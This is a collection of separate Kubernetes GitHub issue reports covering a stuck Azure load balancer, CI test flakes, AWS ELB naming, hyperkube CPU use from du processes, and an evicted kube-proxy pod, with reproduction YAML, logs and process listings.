<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r when the idle timeout annotation was set to \ 3\  which isn't a supported case, kube-controller-manager is stuck in deleting azure lb. new service with the same name couldn't be created again even without the annotation.\r \r   what you expected to happen  :\r \r new service should be created successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    yaml\r kind: service\r apiversion: v1\r metadata:\r   name: nginx\r   annotations:\r     service.beta.kubernetes.io/azure-load-balancer-tcp-idle-timeout: \ 3\ \r spec:\r   type: loadbalancer\r   loadbalancerip: \ 51.145.136.123\ \r   ports:\r     - name: http\r       port: 80\r       targetport: http\r     - name: https\r       port: 443\r       targetport: https\r   selector:\r     app: nginx\r    \r \r    sh\r kubectl create -f nginx.yaml\r kubectl get svc\r \r kubectl delete -f nginx.yaml\r kubectl get svc\r \r kubectl create -f nginx.yaml\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r sig-release-master-informing\r \r   which test s  are failing  :\r task-06-upgrade\r \r   since when has it been failing  :\r it's flaking at least since 30th of may https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-kinder-upgrade-stable-master/1134236301210423298\r \r we don't have more history than that.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-informing kubeadm-kinder-upgrade-stable-master\r \r   reason for failure  :\r \r    \r kubeadm upgrade node\r \r  upgrade  reading configuration from the cluster...\r  upgrade  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r unable to fetch the kubeadm-config configmap: failed to get config map: configmaps \ kubeadm-config\  is forbidden: user \ system:node:kinder-upgrade-control-plane3\  cannot get resource \ configmaps\  in api group \ \  in the namespace \ kube-system\ : no relationship found between node \ kinder-upgrade-control-plane3\  and this object\r time=\ 13:40:35\  level=error msg=\ error executing ==> kubeadm upgrade node 🚀: exit status 1\ \r error: failed to exec action on cluster nodes: error executing ==> kubeadm upgrade node 🚀: exit status 1\r  exit status 1\r    \r \r   anything else we need to know  :\r \r   /milestone v1.15\r / \r /cc @jimangel @smourapina @alejandrox1 \r

hello,  i have been trying to figure out a way to preserve elbs across cluster restarts. i need this functionality because we map dns names to elb aliases via route 53. we have a load balancer that points to the mapped dns name which does not change. however, aws creates a new dns for each elb it creates. so, if the cluster were to be torn down and started up again, the new elbs created would have new dns names that are not mapped by route 53. this means that we would have to manually change the resource record every time the elb is recreated.  i will give some background on why this functionality is needed. i have a need to preserve vpc and security groups  as well as elbs  across cluster restarts. i have been able to achieve this by removing the code from kube-down.sh that deletes the corresponding resources. this works fine, as kube-up.sh is able to detect the already-existing resources on startup and initialize correctly. as would be expected, the elbs do not register with the newly created minions. in attempting to resolve this, i discovered it was impossible due to the issue described earlier. even if i were to use aws cli commands to register new minions on start-up with existing elbs, the kube api would not have knowledge of these existing elbs, as they are tied to service uids that no longer exist. this is why i need the ability to bind elb names to service names. since services are unique in kube api anyway, this should not present an issue when trying to create another instance of the loadbalancer service.  for reference, the name is set in getloadbalancername in : https://github.com/kubernetes/kubernetes/blob/37b5726716231c13117c4b05a841e00417b92cda/pkg/cloudprovider/cloud.go

possible tools - visibility: nagging issues, dashboard of open flakes - carrots for fixing flakes - leader board, special badge  kubernetes flake fix champions organization  - sticks for ignoring flake issues - leave gh status message notifying pr authors that they have flake issues requiring attention, eventually do not merge non-flake fix prs from authors with issues that have not gotten any attention

kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ 5cb86ee022267586db386f62781338b0483733b3\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ 5cb86ee022267586db386f62781338b0483733b3\ , gittreestate:\ clean\ }    environment  : -   cloud provider or hardware configuration  : vm 4cpu 16gb  -   os    e.g. from /etc/os-release :ubuntu 15.04 -   kernel    e.g.  uname -a  : linux k8s_master 3.16.0-30-generic  40~14.04.1-ubuntu smp thu jan 15 17:43:14 utc 2015 x86_64 x86_64 x86_64 gnu/linux -   install tools  : gcr.io/google_containers/hyperkube-amd64:v1.2.0 container     what happened  : hyperkube taking large amounts of cpu when k8s cluster start up. and also bring up many  du  process which use all of my cpu.        5138 ?        ssl  557:24  \\_ /hyperkube kubelet --containerized --hostname-override=hello --address=0.0.0.0 --api-servers=http://0.0.0.0:8080 --config=/etc/kubernetes/manifests --allow-privileged=true --v=2  5158 ?        s      0:04  |   \\_ journalctl -k -f 45426 ?        rn     0:03  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/b726c8dbe831a15112bb9d52695750560e3af3f319a8c97a15327a447efb141e 45430 ?        rn     0:02  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/e9c8fce0ccaa35fcae75a173f502cf7e7d5c4423ade79534123c5bfc751bc287 45432 ?        rn     0:02  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/86df60fb41f641714f1b48357a8cc7a6c7da413a1d1003cf4fb5e9def9ad41dc 45434 ?        rn     0:02  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/8eff7dcd429c2565ad35554c5572e9d039cf070b1f224bade6f2c53a76c9ac71 45435 ?        rn     0:02  |   \\_ du -s -b 1 /var/lib/kubelet/pods/023e0625-8ded-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r 45443 ?        rn     0:02  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/f3c199ef97a7abd0269e1b8fc28293c6a12dda5910a26b0197a2cb7a15944926 45449 ?        rn     0:02  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/4ab18d7a9d12d8df5fe41f1b38246c1c78e7390ba3a804eb7ea1447f7e68983d 45452 ?        rn     0:02  |   \\_ du -s -b 1 /srv/steamer/influxdb 45457 ?        rn     0:02  |   \\_ du -s /rootfs/ssd/docker/containers/e6b4d2a0a993084afe1629536df0f465eddb20c48a78771530fe30d5f1458721 45462 ?        rn     0:02  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/de0d9ab0499cad86705b99a42cd5e5de16e6385971335cf58042b22398cb0ea1 45464 ?        rn     0:02  |   \\_ du -s -b 1 /var/lib/kubelet/pods/023ec833-8ded-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r 45465 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/0baf4cc6e09b0bcce4cc4c04f210c85917762339b29ea3459793871eaaa11635 45466 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/containers/3cc8de984d2494406c4f369b74a47b031dd02332f06d5a01f0d0449560c2b56d 45470 ?        rn     0:01  |   \\_ du -s -b 1 /var/lib/kubelet/pods/023e7d57-8ded-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r 45473 ?        rn     0:01  |   \\_ du -s -b 1 /var/lib/kubelet/pods/83d4dccd-8de7-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r 45474 ?        rn     0:01  |   \\_ du -s -b 1 /srv/steamer/registry/images 45476 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/containers/8e86c9833a13633ce4974ee27562c3437fbfab3fb74e341f384b7d0e9b0ef010 45477 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/containers/406a9ba5fa3be44032d91b9042439e65312e498f1534af1dd1a26b57f6095476 45479 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/containers/b154220b7dc770437962ebd186a169414166e761fde3713121e7a83437ec3e7d 45480 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/containers/e9984223d443a849e6c00cdfca1cfb16ac259c2914f8484fd6f86dd6882aae76 45481 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/containers/8c9ca7688feb35015f8e7b5bb54d209181f62b115c7b3386ac17c5e55b229e95 45483 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/containers/c8ee2d5c8f7fbd313fcf58a932fefa59e4af645fbfbcc028ea230743349bcd45 45484 ?        rn     0:01  |   \\_ du -s -b 1 /var/lib/kubelet/pods/023b7f5f-8ded-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r 45485 ?        rn     0:01  |   \\_ du -s -b 1 /var/etcd 45487 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/containers/bc4fb606c984ca69176a7f6135482521e7db2a43125712033714cf3cd0b54951 45488 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/containers/a4854ca65bd9cf71e60750497bbb1e55cd6b6a8c6993f31168566dc485da2b6b 45489 ?        rn     0:01  |   \\_ du -s -b 1 /var/lib/kubelet/pods/02411fd1-8ded-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r 45491 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/3e91ca98f628a98c97f40dd668a42672fbf16aa5f1c01da3b170939b66a6ad7b 45492 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/containers/6494b576786cc03ce2abdceabe2ff10f8ba6aeb459446d529c57a8df83e5e010 45495 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/8dd38ee8b86688e4f08e4504b6ed0f95e27c6054eb49ef8611321b571175139e 45496 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/f06dded838209a922a53618eb29f01234bbc3339b673f645a38072c5a7d1cb29 45497 ?        rn     0:01  |   \\_ du -s -b 1 /var/lib/kubelet/pods/95d26545-8deb-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r 45499 ?        rn     0:01  |   \\_ du -s /rootfs/ssd/docker/aufs/diff/95773024bf8cb087fd4680ecaa103e5a11d58e9b8dc3fd6f864030c36fb294fc 45500 ?        rn     0:00  |   \\_ du -s /rootfs/ssd/docker/containers/a3b7d830b64f8c2fc66ed4d8a78fe377a9a2d82086a987546bbf2d0e7a083e08 45504 ?        rn     0:00  |   \\_ du -s /rootfs/ssd/docker/containers/09761d35b7e31202b45c9f109034c86a427d670ed4131e0a7ee9b96a2f4db162 45526 ?        rn     0:00  |   \\_ du -s /rootfs/ssd/docker/containers/151cc0d04cc68c44cff25be18854e91e6afabfe5d727b07f7a8c752e826d7f12 45529 ?        rn     0:00  |   \\_ du -s /rootfs/ssd/docker/containers/adcd0aa9689ead292d36346dce4e357e6a403981f57bc337e6bed6e60943cb7c 45531 ?        rn     0:00  |   \\_ du -s /rootfs/ssd/docker/containers/f8b5786a4297345780c9f5a0fbe4b32fb392022ad92da97b88ce2990c1774147 45535 ?        r      0:00  |   \\_ /bin/findmnt -o target --noheadings --target /var/lib/kubelet/pods/f2572aed-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~557674521 45536 ?        r      0:00  |   \\_ /bin/findmnt -o target --noheadings --target /var/lib/kubelet/pods/024100b0-8ded-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r 45537 ?        rn     0:00  |   \\_ du -s /rootfs/ssd/docker/containers/5704800f85006e79156dc50cd17ef6097e8820469a5edb16f980cdd1a3fff656 45538 ?        r      0:00  |   \\_ /bin/findmnt -o target --noheadings --target /var/lib/kubelet/pods/023da38d-8ded-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r      top:      top - 09:48:06 up 2 days, 13:36,  3 users,  load average: 44.29, 45.71, 44.37 tasks: 334 total,  26 running, 307 sleeping,   1 stopped,   0 zombie %cpu s :  7.6 us, 90.5 sy,  1.5 ni,  0.3 id,  0.0 wa,  0.0 hi,  0.1 si,  0.1 st kib mem:  16427212 total, 15711488 used,   715724 free,   623772 buffers kib swap:        0 total,        0 used,        0 free. 10005156 cached mem    pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command  5138 root      20   0 3052800 120232  38952 s  41.8  0.7 563:14.33 hyperkube 49438 root      20   0   49400  27460   2236 r  26.2  0.2   0:00.79 findmnt 49394 root      39  19    8860   5960   1316 r  10.9  0.0   0:01.37 du 49165 root      39  19    8860   6060   1412 r  10.6  0.0   0:02.48 du 49385 root      39  19    8860   6036   1388 r  10.6  0.0   0:01.77 du 49403 root      39  19    8860   5988   1340 d  10.6  0.0   0:01.00 du 49088 root      39  19    9136   6296   1396 r  10.3  0.0   0:02.76 du 49090 root      39  19    9276   6204   1308 r  10.3  0.0   0:02.57 du 49388 root      39  19    8860   6044   1400 d  10.3  0.0   0:01.62 du 49418 root      39  19    8860   5968   1320 r  10.3  0.0   0:00.49 du 49435 root      39  19    8860   5952   1308 r  10.3  0.0   0:00.31 du 49111 root      39  19    8860   6036   1392 r   9.9  0.0   0:02.52 du 49401 root      39  19    8860   6040   1392 d   9.9  0.0   0:01.10 du 49433 root      39  19    8860   5996   1348 r   9.6  0.0   0:00.29 du 49436 root      39  19    8860   6056   1412 r   9.6  0.0   0:00.29 du 49085 root      39  19    9136   6296   1396 r   9.3  0.0   0:02.59 du 49389 root      39  19    8860   6036   1392 r   9.3  0.0   0:01.52 du 49406 root      39  19    8860   5992   1344 r   9.3  0.0   0:00.88 du 49386 root      39  19    8860   5960   1316 d   9.0  0.0   0:01.60 du 49398 root      39  19    8860   5984   1340 r   9.0  0.0   0:01.22 du 49416 root      39  19    8860   6000   1352 r   9.0  0.0   0:00.50 du 49432 root      39  19    8860   5996   1348 r   9.0  0.0   0:00.29 du 49113 root      39  19    8860   5992   1348 r   8.6  0.0   0:02.38 du 49409 root      39  19    8860   5884   1240 r   8.6  0.0   0:00.58 du 49400 root      39  19    8860   5988   1344 d   8.3  0.0   0:01.05 du 49408 root      39  19    8860   5960   1316 r   8.3  0.0   0:00.68 du 49415 root      39  19    8860   5992   1348 r   8.3  0.0   0:00.51 du 49434 root      39  19    8860   5988   1344 r   8.3  0.0   0:00.25 du 49393 root      39  19    8860   5888   1240 r   8.0  0.0   0:01.37 du 49395 root      39  19    8860   6000   1352 r   8.0  0.0   0:01.23 du     7 root      20   0       0      0      0 s   3.3  0.0  13:16.92 rcu_sched  6133 root      20   0   60272  47904  22780 s   2.3  0.3   1:50.47 heapster 11329 root      20   0  245900  56268  13084 r   2.3  0.3  21:50.49 python3  4713 root      20   0 4294684  99812  21376 s   1.3  0.6  20:05.68 docker     9 root      20   0       0      0      0 s   0.7  0.0   2:51.28 rcuos/1    11 root      20   0       0      0      0 s   0.7  0.0   2:51.31 rcuos/3     8 root      20   0       0      0      0 s   0.3  0.0   4:30.01 rcuos/0  5274 root      20   0   83060  37392  11048 s   0.3  0.2   4:12.65 etcd  5547 root      20   0  560208  62256  38736 s   0.3  0.4   3:51.13 hyperkube  5582 root      20   0  435472 128848  39488 s   0.3  0.8   4:30.37 hyperkube 12439 root      20   0 4665856 213700  16496 s   0.3  1.3   0:41.69 java 18338 root      20   0 4667584 217400  16532 s   0.3  1.3   0:46.34 java        how to reproduce it    as minimally and precisely as possible : bring up k8s with  gcr.io/google_containers/hyperkube-amd64:v1.2.0 , and run several pods.    anything else do we need to know  : it happened in my every hosts, and it's a headache for me.   here is kubelet error message:      e1009 07:28:08.359315    5138 kubelet.go:1990  could not tear down volume \ f25c6fa6-8dec-11e6-a402-0011ea14e158/default-token-e544r\ : rename /var/lib/kubelet/pods/f25c6fa6-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r /var/lib/kubelet/pods/f25c6fa6-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~022213351: device or resource busy w1009 07:28:08.359404    5138 kubelet.go:1979  orphaned volume \ 966c963a-8de7-11e6-a402-0011ea14e158/default-token-e544r\  found, tearing down volume e1009 07:28:08.388073    5138 kubelet.go:1990  could not tear down volume \ 966c963a-8de7-11e6-a402-0011ea14e158/default-token-e544r\ : rename /var/lib/kubelet/pods/966c963a-8de7-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r /var/lib/kubelet/pods/966c963a-8de7-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~361561370: device or resource busy w1009 07:28:08.388128    5138 kubelet.go:1979  orphaned volume \ 966c963a-8de7-11e6-a402-0011ea14e158/wrapped_default-token-e544r.deleting~448703823\  found, tearing down volume w1009 07:28:08.400299    5138 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/966c963a-8de7-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~448703823\  w1009 07:28:08.418277    5138 kubelet.go:1979  orphaned volume \ f2572aed-8dec-11e6-a402-0011ea14e158/default-token-e544r\  found, tearing down volume e1009 07:28:08.454010    5138 kubelet.go:1990  could not tear down volume \ f2572aed-8dec-11e6-a402-0011ea14e158/default-token-e544r\ : rename /var/lib/kubelet/pods/f2572aed-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r /var/lib/kubelet/pods/f2572aed-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~566483804: device or resource busy w1009 07:28:09.744458    5138 kubelet.go:1979  orphaned volume \ f259a81d-8dec-11e6-a402-0011ea14e158/wrapped_default-token-e544r.deleting~720767703\  found, tearing down volume w1009 07:28:09.758001    5138 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/f259a81d-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~720767703\  w1009 07:28:09.776854    5138 kubelet.go:1979  orphaned volume \ f25c2403-8dec-11e6-a402-0011ea14e158/wrapped_default-token-e544r.deleting~822939934\  found, tearing down volume w1009 07:28:09.789288    5138 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/f25c2403-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~822939934\  w1009 07:28:09.811203    5138 kubelet.go:1979  orphaned volume \ f25851b1-8dec-11e6-a402-0011ea14e158/default-token-e544r\  found, tearing down volume e1009 07:28:09.842521    5138 kubelet.go:1990  could not tear down volume \ f25851b1-8dec-11e6-a402-0011ea14e158/default-token-e544r\ : rename /var/lib/kubelet/pods/f25851b1-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r /var/lib/kubelet/pods/f25851b1-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~885288821: device or resource busy w1009 07:28:09.842643    5138 kubelet.go:1979  orphaned volume \ f259a81d-8dec-11e6-a402-0011ea14e158/default-token-e544r\  found, tearing down volume e1009 07:28:09.887482    5138 kubelet.go:1990  could not tear down volume \ f259a81d-8dec-11e6-a402-0011ea14e158/default-token-e544r\ : rename /var/lib/kubelet/pods/f259a81d-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r /var/lib/kubelet/pods/f259a81d-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~497825360: device or resource busy w1009 07:28:09.887612    5138 kubelet.go:1979  orphaned volume \ f25c66ee-8dec-11e6-a402-0011ea14e158/default-token-e544r\  found, tearing down volume e1009 07:28:09.924761    5138 kubelet.go:1990  could not tear down volume \ f25c66ee-8dec-11e6-a402-0011ea14e158/default-token-e544r\ : rename /var/lib/kubelet/pods/f25c66ee-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/default-token-e544r /var/lib/kubelet/pods/f25c66ee-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~385472367: device or resource busy w1009 07:28:09.924836    5138 kubelet.go:1979  orphaned volume \ f25c66ee-8dec-11e6-a402-0011ea14e158/wrapped_default-token-e544r.deleting~019612746\  found, tearing down volume w1009 07:28:09.937108    5138 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/f25c66ee-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~019612746\  w1009 07:28:09.954454    5138 kubelet.go:1979  orphaned volume \ f25c6fa6-8dec-11e6-a402-0011ea14e158/wrapped_default-token-e544r.deleting~022213351\  found, tearing down volume w1009 07:28:09.970846    5138 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/f25c6fa6-8dec-11e6-a402-0011ea14e158/volumes/kubernetes.io~secret/wrapped_default-token-e544r.deleting~022213351\  w1009 07:28:09.988901    5138 kubelet.go:1979  orphaned volume \ f25c2403-8dec-11e6-a402-0011ea14e158/default-token-e544r\  found, tearing down volume

we currently build from a base image that has debian and iptables installed.  i wonder if we can find or buidl something smaller and less exposed?  maybe a static iptables build?\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2372/ failed:  k8s.io  kubelet cgroup manager pod containers on scheduling a guaranteed pod pod containers should have been created under the cgroup-root {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/pods_container_manager_test.go:209 expected error:     < errors.errorstring | 0xc421172be0>: {         s: \ pod \\\ pod0047c303-024f-11e7-be7a-42010a80001d\\\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-06 09:26:38 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-06 09:26:38 +0000 utc reason:containersnotready message:containers with unready status:  container0047c426-024f-11e7-be7a-42010a80001d }  message: reason: hostip:10.128.0.29 podip:10.180.0.5 starttime:2017-03-06 09:26:38 +0000 utc initcontainerstatuses:   containerstatuses: {name:container0047c426-024f-11e7-be7a-42010a80001d state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-06 09:26:41 +0000 utc,containerid:docker://eada71302b45e23ad90e8a32c50a3e1e9c0b81b757ab7f1d658eea8e74dc4467,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker-pullable://gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff containerid:docker://eada71302b45e23ad90e8a32c50a3e1e9c0b81b757ab7f1d658eea8e74dc4467}  qosclass:besteffort}\ ,     }     pod \ pod0047c303-024f-11e7-be7a-42010a80001d\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-06 09:26:38 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-06 09:26:38 +0000 utc reason:containersnotready message:containers with unready status:  container0047c426-024f-11e7-be7a-42010a80001d }  message: reason: hostip:10.128.0.29 podip:10.180.0.5 starttime:2017-03-06 09:26:38 +0000 utc initcontainerstatuses:   containerstatuses: {name:container0047c426-024f-11e7-be7a-42010a80001d state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-06 09:26:41 +0000 utc,containerid:docker://eada71302b45e23ad90e8a32c50a3e1e9c0b81b757ab7f1d658eea8e74dc4467,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker-pullable://gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff containerid:docker://eada71302b45e23ad90e8a32c50a3e1e9c0b81b757ab7f1d658eea8e74dc4467}  qosclass:besteffort} not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/pods_container_manager_test.go:199

failure cluster  67db57707b49163a9f06  https://go.k8s.io/triage 67db57707b49163a9f06        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes.go:314 expected error:     < errors.errorstring | 0xc4211b68c0>: {         s: \ gave up waiting for pod 'pvc-tester-9wknf' to be 'success or failure' after 5m0s\ ,     }     gave up waiting for pod 'pvc-tester-9wknf' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes.go:295           failure cluster statistics: 1 tests failed,    22 jobs failed,    306 builds failed. failure stats cover 1 day time range '18 jul 2017 21:39 utc' to '19 jul 2017 21:39 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-storage  persistentvolumes  sig-storage  persistentvolumes:nfs when invoking the recycle reclaim policy should test that a pv becomes available and is clean after the pvc is deleted. | 22 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-docker | 25 |  19 jul 2017 20:50 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-docker/1482  | | ci-kubernetes-e2e-gci-gce-etcd3 | 24 |  19 jul 2017 20:50 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-etcd3/11332  | | ci-kubernetes-e2e-gci-gce-ip-alias | 24 |  19 jul 2017 20:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ip-alias/3610  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | lavalamp |  sig-storage  persistentvolumes  sig-storage  persistentvolumes:nfs when invoking the recycle reclaim policy should test that a pv becomes available and is clean after the pvc is deleted. |  </details><br>   current status  https://go.k8s.io/triage 67db57707b49163a9f06

 \r   what happened  :\r \r kube-proxy pod which has been explicitly marked as critical  with  scheduler.alpha.kubernetes.io/critical-pod  annotation  has been evicted from the node because it was short on disk space. kubernetes did not make any attempts to re-schedule it after which resulted in cluster outage.\r \r related: https://github.com/kubernetes/kubernetes/issues/23225\r \r    \r $ kubectl describe pod --namespace=kube-system kube-proxy-ip-10-51-40-185.us-west-2.compute.internal\r name:           kube-proxy-ip-10-51-40-185.us-west-2.compute.internal\r namespace:      kube-system\r node:           ip-10-51-40-185.us-west-2.compute.internal/\r start time:     thu, 03 aug 2017 16:19:17 +0000\r labels:         k8s-app=kube-proxy\r                 tier=node\r annotations:    kubernetes.io/config.hash=7ec3e6c648c18e6348c2b7839744f402\r                 kubernetes.io/config.mirror=7ec3e6c648c18e6348c2b7839744f402\r                 kubernetes.io/config.seen=2017-08-03t16:19:12.592302299z\r                 kubernetes.io/config.source=file\r                 scheduler.alpha.kubernetes.io/critical-pod=\r status:         failed\r reason:         evicted\r message:        the node was low on resource: nodefs.\r ip:\r controllers:    <none>\r containers:\r   kube-proxy:\r     image:      gcr.io/google_containers/kube-proxy:v1.6.2\r     port:\r     command:\r       /bin/sh\r       -c\r       echo -998 > /proc/$$$/oom_score_adj && kube-proxy --kubeconfig=/var/lib/kube-proxy/kubeconfig --conntrack-max-per-core=131072 --resource-container=\ \  --cluster-cidr=100.96.0.0/11 --master=https://api.internal.dev.jiff.kube --v=2 2>&1 | /usr/bin/tee /var/log/kube-proxy.log\r     requests:\r       cpu:              100m\r     environment:        <none>\r     mounts:\r       /etc/ssl/certs from ssl-certs-hosts  ro \r       /var/lib/kube-proxy/kubeconfig from kubeconfig  ro \r       /var/log from varlog  rw \r volumes:\r   varlog:\r     type:       hostpath  bare host directory volume \r     path:       /var/log\r   kubeconfig:\r     type:       hostpath  bare host directory volume \r     path:       /var/lib/kube-proxy/kubeconfig\r   ssl-certs-hosts:\r     type:       hostpath  bare host directory volume \r     path:       /usr/share/ca-certificates\r qos class:      burstable\r node-selectors: <none>\r tolerations:    =:exists:noexecute\r events:         <none>\r    \r \r   what you expected to happen  :\r \r kubelet should've kept kube-proxy running because it's critical.\r \r   environment  :\r \r    \r   kubelet --version\r kubernetes v1.6.2\r   uname -a\r linux ip-10-51-40-185 4.4.79-k8s  1 smp fri jul 28 02:29:53 utc 2017 x86_64 gnu/linux\r

flaky job: pr:pull-kubernetes-unit  flakes in the past week:   38    consistency:   91.90%         flakiest tests by flake count: | test | flake count | | --- | --- | | k8s.io/kubernetes/pkg/kubelet/deviceplugin testdevicepluginreregistration | 12 | | k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry teststorewatch | 10 | | k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3 testwatchfromzero | 4 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

